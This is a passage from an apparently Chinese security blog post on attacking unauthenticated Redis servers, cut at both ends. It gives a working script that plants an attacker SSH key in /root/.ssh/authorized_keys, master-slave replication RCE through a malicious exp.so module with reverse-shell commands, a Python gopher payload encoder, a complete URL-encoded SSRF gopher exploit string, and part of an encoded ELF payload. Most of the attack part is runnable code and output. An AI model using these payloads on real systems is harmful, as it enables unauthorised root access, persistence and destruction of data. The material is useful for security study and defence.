/tmp/test.sh</code>。<br>利用python可以成功反弹shell，但是python反弹shell的payload比较长，利用redis写到crontab文件的时候会发生莫名的payload截断；最后就是ubuntu用户定时任务必须在600权限才能执行，否则提示INSECURE MODE不予执行。</li></ul><h4 id="webshell"><a href="#webshell" class="headerlink" title="webshell"></a>webshell</h4><p>需要知道web目录</p><h4 id="ssh-key"><a href="#ssh-key" class="headerlink" title="ssh key"></a>ssh key</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#</span><span class="bash"> xiaopo @ fht <span class="keyword">in</span> ~ [22:20:29] C:130</span></span><br><span class="line"><span class="meta">$</span><span class="bash"> cat ~/.ssh/id_rsa.pub </span></span><br><span class="line">ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOVgEY/clVIFD7U/pbZly0jW5PJs6BV8gG6hKvQT3FjQUpMNADHy/MgjIoeBQpCLSRv5fOHSLVdxFgTe8qgX6s8wR1JlLPCgRPAfr8LbpxQcuw5zVqbA9DsYxEf+6Qry+SeZWXOB8tHWSZBMK7BX09g1y/hTEsrd1d/VoPBci8kUsuybqnaoRGz8p4YaJFl+jiI5SIcTb/mJTcyPOK0hFCDL7ylSJLXn/BaT5E8dPuZzj+Oha+k8PabEf0V22Jmt7gDL7e7Omit277liorsNARBH4LccPk9T9cOdmlxMswjEA3+Xbb6f3kgYaxEg6SHEWkSvMyt+x3NM6R76q5H8Nx xiaopo@fht</span><br></pre></td></tr></table></figure><p>sshkey.sh内容如下，</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">echo -e "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOVgEY/clVIFD7U/pbZly0jW5PJs6BV8gG6hKvQT3FjQUpMNADHy/MgjIoeBQpCLSRv5fOHSLVdxFgTe8qgX6s8wR1JlLPCgRPAfr8LbpxQcuw5zVqbA9DsYxEf+6Qry+SeZWXOB8tHWSZBMK7BX09g1y/hTEsrd1d/VoPBci8kUsuybqnaoRGz8p4YaJFl+jiI5SIcTb/mJTcyPOK0hFCDL7ylSJLXn/BaT5E8dPuZzj+Oha+k8PabEf0V22Jmt7gDL7e7Omit277liorsNARBH4LccPk9T9cOdmlxMswjEA3+Xbb6f3kgYaxEg6SHEWkSvMyt+x3NM6R76q5H8Nx xiaopo@fht\n\n"|redis-cli -h $1 -p $2 -x set 1</span><br><span class="line">redis-cli -h $1 -p $2 config set dir /root/.ssh/   # 指定本地数据库存放目录</span><br><span class="line">redis-cli -h $1 -p $2 config set dbfilename authorized_keys  # 指定本地数据库文件名，默认值为dump.rdb</span><br><span class="line">redis-cli -h $1 -p $2 save</span><br><span class="line">redis-cli -h $1 -p $2 quit</span><br></pre></td></tr></table></figure><p>以上代码在centos7测试并连接成功，当然前提需要有/root/.ssh/这个目录，</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost redis]# mkdir -p /root/.ssh/</span><br><span class="line">[root@localhost redis]# bash sshkey.sh 127.0.0.1 6379</span><br><span class="line">OK</span><br><span class="line">OK</span><br><span class="line">OK</span><br><span class="line">OK</span><br><span class="line">OK</span><br><span class="line">[root@localhost redis]# redis-cli</span><br><span class="line">127.0.0.1:6379&gt; get 1</span><br><span class="line">"\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOVgEY/clVIFD7U/pbZly0jW5PJs6BV8gG6hKvQT3FjQUpMNADHy/MgjIoeBQpCLSRv5fOHSLVdxFgTe8qgX6s8wR1JlLPCgRPAfr8LbpxQcuw5zVqbA9DsYxEf+6Qry+SeZWXOB8tHWSZBMK7BX09g1y/hTEsrd1d/VoPBci8kUsuybqnaoRGz8p4YaJFl+jiI5SIcTb/mJTcyPOK0hFCDL7ylSJLXn/BaT5E8dPuZzj+Oha+k8PabEf0V22Jmt7gDL7e7Omit277liorsNARBH4LccPk9T9cOdmlxMswjEA3+Xbb6f3kgYaxEg6SHEWkSvMyt+x3NM6R76q5H8Nx xiaopo@fht\n\n\n"</span><br><span class="line">127.0.0.1:6379&gt; exit</span><br><span class="line">[root@localhost redis]# cat /root/.ssh/authorized_keys </span><br><span class="line">REDIS0007�redis-ver3.2.12�</span><br><span class="line">redis-bits�@�ctime²�_used-memh</span><br><span class="line">                                ���A�</span><br><span class="line"></span><br><span class="line">ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOVgEY/clVIFD7U/pbZly0jW5PJs6BV8gG6hKvQT3FjQUpMNADHy/MgjIoeBQpCLSRv5fOHSLVdxFgTe8qgX6s8wR1JlLPCgRPAfr8LbpxQcuw5zVqbA9DsYxEf+6Qry+SeZWXOB8tHWSZBMK7BX09g1y/hTEsrd1d/VoPBci8kUsuybqnaoRGz8p4YaJFl+jiI5SIcTb/mJTcyPOK0hFCDL7ylSJLXn/BaT5E8dPuZzj+Oha+k8PabEf0V22Jmt7gDL7e7Omit277liorsNARBH4LccPk9T9cOdmlxMswjEA3+Xbb6f3kgYaxEg6SHEWkSvMyt+x3NM6R76q5H8Nx xiaopo@fht</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">�B�I$��:[root@localhost redis]#</span><br></pre></td></tr></table></figure><p>在Mint下写入并连接成功，</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">root@mint-VirtualBox:/data/hack/C/middleware/redis# cat /root/.ssh/authorized_keys </span><br><span class="line">REDIS0008�redis-ver4.0.9�</span><br><span class="line">redis-bits�@�ctime�Z</span><br><span class="line">�                   _used-mem�$</span><br><span class="line"> aof-preamble����A�</span><br><span class="line"></span><br><span class="line">ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOVgEY/clVIFD7U/pbZly0jW5PJs6BV8gG6hKvQT3FjQUpMNADHy/MgjIoeBQpCLSRv5fOHSLVdxFgTe8qgX6s8wR1JlLPCgRPAfr8LbpxQcuw5zVqbA9DsYxEf+6Qry+SeZWXOB8tHWSZBMK7BX09g1y/hTEsrd1d/VoPBci8kUsuybqnaoRGz8p4YaJFl+jiI5SIcTb/mJTcyPOK0hFCDL7ylSJLXn/BaT5E8dPuZzj+Oha+k8PabEf0V22Jmt7gDL7e7Omit277liorsNARBH4LccPk9T9cOdmlxMswjEA3+Xbb6f3kgYaxEg6SHEWkSvMyt+x3NM6R76q5H8Nx xiaopo@fht</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">�a��/ԡOroot@mint-VirtualBox:/data/hack/C/middleware/redis#</span><br></pre></td></tr></table></figure><h2 id="反序列化"><a href="#反序列化" class="headerlink" title="反序列化"></a>反序列化</h2><p>待补充</p><h2 id="主从复制RCE"><a href="#主从复制RCE" class="headerlink" title="主从复制RCE"></a>主从复制RCE</h2><h3 id="原理"><a href="#原理" class="headerlink" title="原理"></a>原理</h3><p>前言：比起以前的利用方式来说，这种利用方式更为通用，危害也更大，因为随着现代的服务部署方式的不断发展，组件化成了不可逃避的大趋势，docker就是这股风潮下的产物之一，而在这种部署模式下，一个单一的容器中不会有除redis以外的任何服务存在，包括ssh和crontab，再加上权限的严格控制，只靠写文件就很难再getshell了，在这种情况下，我们就需要其他的利用手段了。</p><p>redis主从复制：Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中，当读写体量比较大的时候，服务端就很难承受。为了应对这种情况，Redis就提供了主从模式，主从模式就是指使用一个redis实例作为主机，其他实例都作为备份机，其中主机和从机数据相同，而从机只负责读，主机只负责写，通过读写分离可以大幅度减轻流量的压力，算是一种通过牺牲空间来换取效率的缓解方式。可以通过下来理解，其中<code>slaveof 172.17.0.2</code>就是将<code>172.17.0.2</code>设置为自己的主节点，主机数据会同步到每个从节点。</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#</span><span class="bash"> xiaopo @ fht <span class="keyword">in</span> ~ [23:34:45] </span></span><br><span class="line"><span class="meta">$</span><span class="bash"> docker inspect --format=<span class="string">'&#123;&#123;.NetworkSettings.IPAddress&#125;&#125;'</span> $(docker ps -a -q)</span></span><br><span class="line">172.17.0.2</span><br><span class="line">172.17.0.3</span><br><span class="line"></span><br><span class="line"><span class="meta">#</span><span class="bash"> xiaopo @ fht <span class="keyword">in</span> ~ [23:34:46] </span></span><br><span class="line"><span class="meta">$</span><span class="bash"> redis-cli -h 172.17.0.3 -p 6379                                            </span></span><br><span class="line">172.17.0.3:6379&gt; slaveof 172.17.0.2 6379</span><br><span class="line">OK</span><br><span class="line">172.17.0.3:6379&gt; get b</span><br><span class="line">(nil)</span><br><span class="line">172.17.0.3:6379&gt; exit</span><br><span class="line"></span><br><span class="line"><span class="meta">#</span><span class="bash"> xiaopo @ fht <span class="keyword">in</span> ~ [23:35:14] </span></span><br><span class="line"><span class="meta">$</span><span class="bash"> redis-cli -h 172.17.0.2 -p 6379</span></span><br><span class="line">172.17.0.2:6379&gt; get b</span><br><span class="line">(nil)</span><br><span class="line">172.17.0.2:6379&gt; set b 1</span><br><span class="line">OK</span><br><span class="line">172.17.0.2:6379&gt; exit</span><br><span class="line"></span><br><span class="line"><span class="meta">#</span><span class="bash"> xiaopo @ fht <span class="keyword">in</span> ~ [23:35:22] </span></span><br><span class="line"><span class="meta">$</span><span class="bash"> redis-cli -h 172.17.0.3 -p 6379</span></span><br><span class="line">172.17.0.3:6379&gt; get b</span><br><span class="line">"1"</span><br><span class="line">172.17.0.3:6379&gt;</span><br></pre></td></tr></table></figure><p>redis主从数据库之间的同步分为两种，全量复制和部分复制，全量复制是将数据库备份文件整个传输过去，然后从节点清空内存数据库，将备份文件加载到数据库中。而部分复制只是将写命令发送给从节点。所以<strong>务必注意此方法会清空目标数据库</strong>。</p><p>redis模块：在Reids 4.x之后，Redis新增了模块功能，通过外部扩展，可以实现在redis中实现一个新的Redis命令，通过写c语言并编译出.so文件。比如写一个可以执行系统命令的扩展：</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#</span><span class="bash"> xiaopo @ fht <span class="keyword">in</span> ~ [23:40:02] </span></span><br><span class="line"><span class="meta">$</span><span class="bash"> redis-cli</span></span><br><span class="line">127.0.0.1:6379&gt; module load /home/xiaopo/python/POC/redis/redis-rce/exp.so</span><br><span class="line">OK</span><br><span class="line">127.0.0.1:6379&gt; system.exec "id"</span><br><span class="line">"uid=0(root) gid=0(root) groups=0(root)\n"</span><br><span class="line">127.0.0.1:6379&gt; system.exec "whoami"</span><br><span class="line">"root\n"</span><br><span class="line">127.0.0.1:6379&gt;</span><br></pre></td></tr></table></figure><p>受影响版本：&lt;=5.0.5</p><p>原始paper：<a href="https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf" target="_blank" rel="noopener">https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf</a><br>主要利用方法如下：<br><img src="https://i.loli.net/2020/07/24/mHsyYI4wLjpgfNh.png" alt="/data/typora_assets/redis/20200719220535985.png"><br>第一步，我们伪装一个redis数据库，然后目标redis将我们的redis数据库设置为主节点。<br>第二步，我们获得目标redis dbfilename的值，或设置目标redis的dbfilename为so文件<br>第三步，设置传输方式为全量传输，并将已编译为.so文件的攻击扩展作为payload发送。<br>第四步，在目标客户机加载dbfilename文件，成功加载扩展，扩展里面实现了任意命令执行。</p><h3 id="利用方法"><a href="#利用方法" class="headerlink" title="利用方法"></a>利用方法</h3><p>利用条件：必需一个外网IP模拟redis rogue server，且内网redis能出外网。</p><p>现在网上大部分的利用方法都是攻击外网未授权redis，比如已有的exp：<a href="https://github.com/Ridter/redis-rce" target="_blank" rel="noopener">https://github.com/Ridter/redis-rce</a></p><p>对于攻击内网未授权redis，比如利用ssrf gopher协议，是需要在外网模拟redis rogue server，内网构造payload发送的。笔者实际演示一下，</p><p>先使用socat抓到实际协议流量<br><code>socat -v tcp-listen:4444,fork tcp-connect:localhost:6379</code></p><p>运行上面的exp，<br><code>python3 redis-rce.py -r 127.0.0.1 -p 4444 -L 127.0.0.1 -P 2333 -f exp.so -v</code><br><img src="https://i.loli.net/2020/07/24/u4rA8xYUHeTRmnt.png" alt="/data/typora_assets/redis/20200719231846015.png"></p><p>注意上面的<code>FULLRESYNC</code>流量是master响应包（master在2333端口），响应slave数据库的<code>PSYNC</code>请求的（slave端口在6379），而我们抓包流量是4444-&gt;6379，所以下面是没有这个包的流量的。</p><p>此时目标redis已经加载了扩展，</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">127.0.0.1:6379&gt; whoami</span><br><span class="line">(error) ERR unknown command 'whoami'</span><br><span class="line">127.0.0.1:6379&gt; system.exec 'whoami'</span><br><span class="line">"root\n"</span><br></pre></td></tr></table></figure><p>但是我们想反弹shell，故继续往下转发流量<br><img src="https://i.loli.net/2020/07/24/JalBETWkDe8Pm4z.png" alt="/data/typora_assets/redis/20200720122441757.png"></p><p>获得反弹到3000端口的shell，<br><img src="https://i.loli.net/2020/07/24/l9xEjsLeHcCOvVS.png" alt="/data/typora_assets/redis/20200720122508087.png"></p><p>拷贝流量到socat.log，需要处理一下socat.log，把前面的INFO部分去掉，得到</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br></pre></td><td class="code"><pre><span class="line">&gt; 2020&#x2F;07&#x2F;20 12:23:45.195249  length&#x3D;42 from&#x3D;14 to&#x3D;55</span><br><span class="line">*3\r</span><br><span class="line">$7\r</span><br><span class="line">SLAVEOF\r</span><br><span class="line">$9\r</span><br><span class="line">127.0.0.1\r</span><br><span class="line">$4\r</span><br><span class="line">2333\r</span><br><span class="line">&lt; 2020&#x2F;07&#x2F;20 12:23:45.195443  length&#x3D;5 from&#x3D;2716 to&#x3D;2720</span><br><span class="line">+OK\r</span><br><span class="line">&gt; 2020&#x2F;07&#x2F;20 12:23:45.195529  length&#x3D;54 from&#x3D;56 to&#x3D;109</span><br><span class="line">*4\r</span><br><span class="line">$6\r</span><br><span class="line">CONFIG\r</span><br><span class="line">$3\r</span><br><span class="line">SET\r</span><br><span class="line">$10\r</span><br><span class="line">dbfilename\r</span><br><span class="line">$6\r</span><br><span class="line">exp.so\r</span><br><span class="line">&lt; 2020&#x2F;07&#x2F;20 12:23:45.195646  length&#x3D;5 from&#x3D;2721 to&#x3D;2725</span><br><span class="line">+OK\r</span><br><span class="line">&gt; 2020&#x2F;07&#x2F;20 12:23:49.579654  length&#x3D;40 from&#x3D;110 to&#x3D;149</span><br><span class="line">*3\r</span><br><span class="line">$6\r</span><br><span class="line">MODULE\r</span><br><span class="line">$4\r</span><br><span class="line">LOAD\r</span><br><span class="line">$8\r</span><br><span class="line">.&#x2F;exp.so\r</span><br><span class="line">&lt; 2020&#x2F;07&#x2F;20 12:23:49.583106  length&#x3D;5 from&#x3D;2726 to&#x3D;2730</span><br><span class="line">+OK\r</span><br><span class="line">&gt; 2020&#x2F;07&#x2F;20 12:23:49.583585  length&#x3D;34 from&#x3D;150 to&#x3D;183</span><br><span class="line">*3\r</span><br><span class="line">$7\r</span><br><span class="line">SLAVEOF\r</span><br><span class="line">$2\r</span><br><span class="line">NO\r</span><br><span class="line">$3\r</span><br><span class="line">ONE\r</span><br><span class="line">&lt; 2020&#x2F;07&#x2F;20 12:23:49.584298  length&#x3D;5 from&#x3D;2731 to&#x3D;2735</span><br><span class="line">+OK\r</span><br><span class="line">&gt; 2020&#x2F;07&#x2F;20 12:23:57.257107  length&#x3D;46 from&#x3D;184 to&#x3D;229</span><br><span class="line">*3\r</span><br><span class="line">$10\r</span><br><span class="line">system.rev\r</span><br><span class="line">$9\r</span><br><span class="line">127.0.0.1\r</span><br><span class="line">$4\r</span><br><span class="line">3000\r</span><br><span class="line">&gt; 2020&#x2F;07&#x2F;20 12:23:57.300300  length&#x3D;56 from&#x3D;230 to&#x3D;285</span><br><span class="line">*4\r</span><br><span class="line">$6\r</span><br><span class="line">CONFIG\r</span><br><span class="line">$3\r</span><br><span class="line">SET\r</span><br><span class="line">$10\r</span><br><span class="line">dbfilename\r</span><br><span class="line">$8\r</span><br><span class="line">dump.rdb\r</span><br><span class="line">&gt; 2020&#x2F;07&#x2F;20 12:25:27.132319  length&#x3D;80 from&#x3D;286 to&#x3D;365</span><br><span class="line">*2\r</span><br><span class="line">$11\r</span><br><span class="line">system.exec\r</span><br><span class="line">$11\r</span><br><span class="line">rm .&#x2F;exp.so\r</span><br><span class="line">*3\r</span><br><span class="line">$6\r</span><br><span class="line">MODULE\r</span><br><span class="line">$6\r</span><br><span class="line">UNLOAD\r</span><br><span class="line">$6\r</span><br><span class="line">system\r</span><br></pre></td></tr></table></figure><p>然后使用脚本<code>python3 tran2gopher.py socat.log</code>转换成gohper协议的，最后\r需要替换成%0d%0a<br>随后启动redis rogue server，<code>python3 redis-rogue-server.py --lport 2333 -f redis-rce/exp.so</code>，启动监听3000端口<code>$ nc -lvvp 3000</code><br>先用curl模拟gopher协议测试是否正确，</p><p><img src="https://i.loli.net/2020/07/24/zuyqRw4IQxMZ5hO.png" alt="/data/typora_assets/redis/20200720123201391.png"></p><p>然后利用ssrf漏洞测试也成功触发，记得要对gopher://协议进行特殊字符的url编码，比如%，因为这是经过了两个协议（先http后gopher）</p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://localhost/vuln/ssrf.php?test=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%247%250d%250aSLAVEOF%250d%250a%249%250d%250a127.0.0.1%250d%250a%244%250d%250a2333%250d%250a%2A4%250d%250a%246%250d%250aCONFIG%250d%250a%243%250d%250aSET%250d%250a%2410%250d%250adbfilename%250d%250a%246%250d%250aexp.so%250d%250a%2A3%250d%250a%246%250d%250aMODULE%250d%250a%244%250d%250aLOAD%250d%250a%248%250d%250a.%2Fexp.so%250d%250a%2A3%250d%250a%247%250d%250aSLAVEOF%250d%250a%242%250d%250aNO%250d%250a%243%250d%250aONE%250d%250a%2A3%250d%250a%2410%250d%250asystem.rev%250d%250a%249%250d%250a127.0.0.1%250d%250a%244%250d%250a3000%250d%250a%2A4%250d%250a%246%250d%250aCONFIG%250d%250a%243%250d%250aSET%250d%250a%2410%250d%250adbfilename%250d%250a%248%250d%250adump.rdb%250d%250a%2A2%250d%250a%2411%250d%250asystem.exec%250d%250a%2411%250d%250arm%20.%2Fexp.so%250d%250a%2A3%250d%250a%246%250d%250aMODULE%250d%250a%246%250d%250aUNLOAD%250d%250a%246%250d%250asystem%250d%250a</span><br></pre></td></tr></table></figure><p>我们尝试一下不用redis rogue server，直接发包<code>FULLRESYNC</code>可不可以成功，首先要抓到<code>FULLRESYNC</code>流量，也就是redis master与redis slave通信流量，我们采用python程序进行生成，</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> binascii</span><br><span class="line"><span class="keyword">from</span> optparse <span class="keyword">import</span> OptionParser</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">"__main__"</span>:</span><br><span class="line">    parser = OptionParser()</span><br><span class="line">    parser.add_option(<span class="string">"-f"</span>, <span class="string">"--exp"</span>, dest=<span class="string">"exp"</span>, type=<span class="string">"string"</span>, help=<span class="string">"Redis Module to load, default exp.so"</span>, default=<span class="string">"exp.so"</span>, metavar=<span class="string">"EXP_FILE"</span>)</span><br><span class="line"></span><br><span class="line">    (options, args) = parser.parse_args()</span><br><span class="line">    exp_filename = options.exp</span><br><span class="line">    print(<span class="string">"Load the payload: %s"</span> % exp_filename)</span><br><span class="line"></span><br><span class="line">    CRLF = <span class="string">"\r\n"</span></span><br><span class="line">    gopher_resp = <span class="string">''</span></span><br><span class="line"></span><br><span class="line">    payload = open(exp_filename, <span class="string">"rb"</span>).read()</span><br><span class="line">    fullresync_resp = <span class="string">"+FULLRESYNC "</span> + <span class="string">"Z"</span> * <span class="number">40</span> + <span class="string">" 1"</span> + CRLF</span><br><span class="line">    fullresync_resp += <span class="string">"$"</span> + str(len(payload)) + CRLF</span><br><span class="line">    fullresync_resp = fullresync_resp.encode()</span><br><span class="line">    fullresync_resp += payload + CRLF.encode()</span><br><span class="line">    <span class="comment"># for test, success</span></span><br><span class="line">    <span class="comment"># fullresync_resp = b'*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$6\r\nexp.so\r\n'</span></span><br><span class="line">    print(fullresync_resp)</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> fullresync_resp:</span><br><span class="line">        <span class="keyword">if</span> <span class="number">48</span> &lt;= i &lt; <span class="number">58</span> <span class="keyword">or</span> <span class="number">65</span> &lt;= i &lt; <span class="number">91</span> <span class="keyword">or</span> <span class="number">97</span> &lt;= i &lt; <span class="number">123</span>:  <span class="comment"># [0-9|A-Z|a-z]</span></span><br><span class="line">            gopher_resp += binascii.unhexlify(hex(i)[<span class="number">2</span>:]).decode()</span><br><span class="line">        <span class="comment"># urlencode</span></span><br><span class="line">        <span class="keyword">elif</span> <span class="number">1</span> == len(hex(i)[<span class="number">2</span>:]):</span><br><span class="line">            gopher_resp += <span class="string">'%0'</span> + hex(i)[<span class="number">2</span>:]</span><br><span class="line">        <span class="keyword">elif</span> <span class="number">2</span> == len(hex(i)[<span class="number">2</span>:]):</span><br><span class="line">            gopher_resp += <span class="string">'%'</span> + hex(i)[<span class="number">2</span>:]</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            print(<span class="string">'[!] error'</span>)</span><br><span class="line">    print(gopher_resp)</span><br></pre></td></tr></table></figure><p>先测试一下<code>CONFIG SET dbfilename exp.so</code>这种普通命令是否可行，</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">/usr/bin/python3.6 /home/xiaopo/python/POC/redis/fullresync_packet.py -f redis-rce/exp.so</span><br><span class="line">Load the payload: redis-rce/exp.so</span><br><span class="line">b'*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$6\r\nexp.so\r\n'</span><br><span class="line"><span class="meta">%</span><span class="bash">2a4%0d%0a%246%0d%0aCONFIG%0d%0a%243%0d%0aSET%0d%0a%2410%0d%0adbfilename%0d%0a%246%0d%0aexp%2eso%0d%0a</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#</span><span class="bash"> xiaopo @ fht <span class="keyword">in</span> ~/python/POC/ssrf [20:32:14] </span></span><br><span class="line"><span class="meta">$</span><span class="bash"> curl -v <span class="string">'gopher://127.0.0.1:6379/_%2a4%0d%0a%246%0d%0aCONFIG%0d%0a%243%0d%0aSET%0d%0a%2410%0d%0adbfilename%0d%0a%246%0d%0aexp%2eso%0d%0a'</span></span></span><br><span class="line">*   Trying 127.0.0.1...</span><br><span class="line">* TCP_NODELAY set</span><br><span class="line">* Connected to 127.0.0.1 (127.0.0.1) port 6379 (#0)</span><br><span class="line">+OK</span><br><span class="line"></span><br><span class="line">127.0.0.1:6379&gt; config get dbfilename</span><br><span class="line">1) "dbfilename"</span><br><span class="line">2) "exp.so"</span><br></pre></td></tr></table></figure><p>在不开启redis rogue server的情况下，构造三段payload测试依次发送，</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">*3%0d%0a$7%0d%0aSLAVEOF%0d%0a$9%0d%0a127.0.0.1%0d%0a$4%0d%0a2333%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$6%0d%0aexp.so%0d%0a</span><br><span class="line"></span><br><span class="line"><span class="meta">%</span><span class="bash">2bFULLRESYNC%20ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ%201%0d%0a%2444328%0d%0a%7fELF%02%01%01%00%00%00%00%00%00%00%00%00%03%00%3e%00%01%00%00%00%80%28%00%00%00%00%00%00%40%00%00%00%00%00%00%00%28%a7%00%00%00%00%00%00%00%00%00%00%40%008%00%05%00%40%00%18%00%17%00%01%00%00%00%05%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00DH%00%00%00%00%00%00DH%00%00%00%00%00%00%00%00%20%00%00%00%00%00%01%00%00%00%06%00%00%00%a0N%00%00%00%00%00%00%a0N%20%00%00%00%00%00%a0N%20%00%00%00%00%00%f0%01%00%00%00%00%00%00%d0%05%00%00%00%00%00%00%00%00%20%00%00%00%00%00%02%00%00%00%06%00%00%00%a0N%00%00%00%00%00%00%a0N%20%00%00%00%00%00%a0N%20%00%00%00%00%00%60%01%00%00%00%00%00%00%60%01%00%00%00%00%00%00%08%00%00%00%00%00%00%00Q%e5td%06%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%10%00%00%00%00%00%00%00R%e5td%04%00%00%00%a0N%00%00%00%00%00%00%a0N%20%00%00%00%00%00%a0N%20%00%00%00%00%00%60%01%00%00%00%00%00%00%60%01%00%00%00%00%00%00%01%00%00%00%00%00%00%00%83%00%00%00%92%00%00%00%00%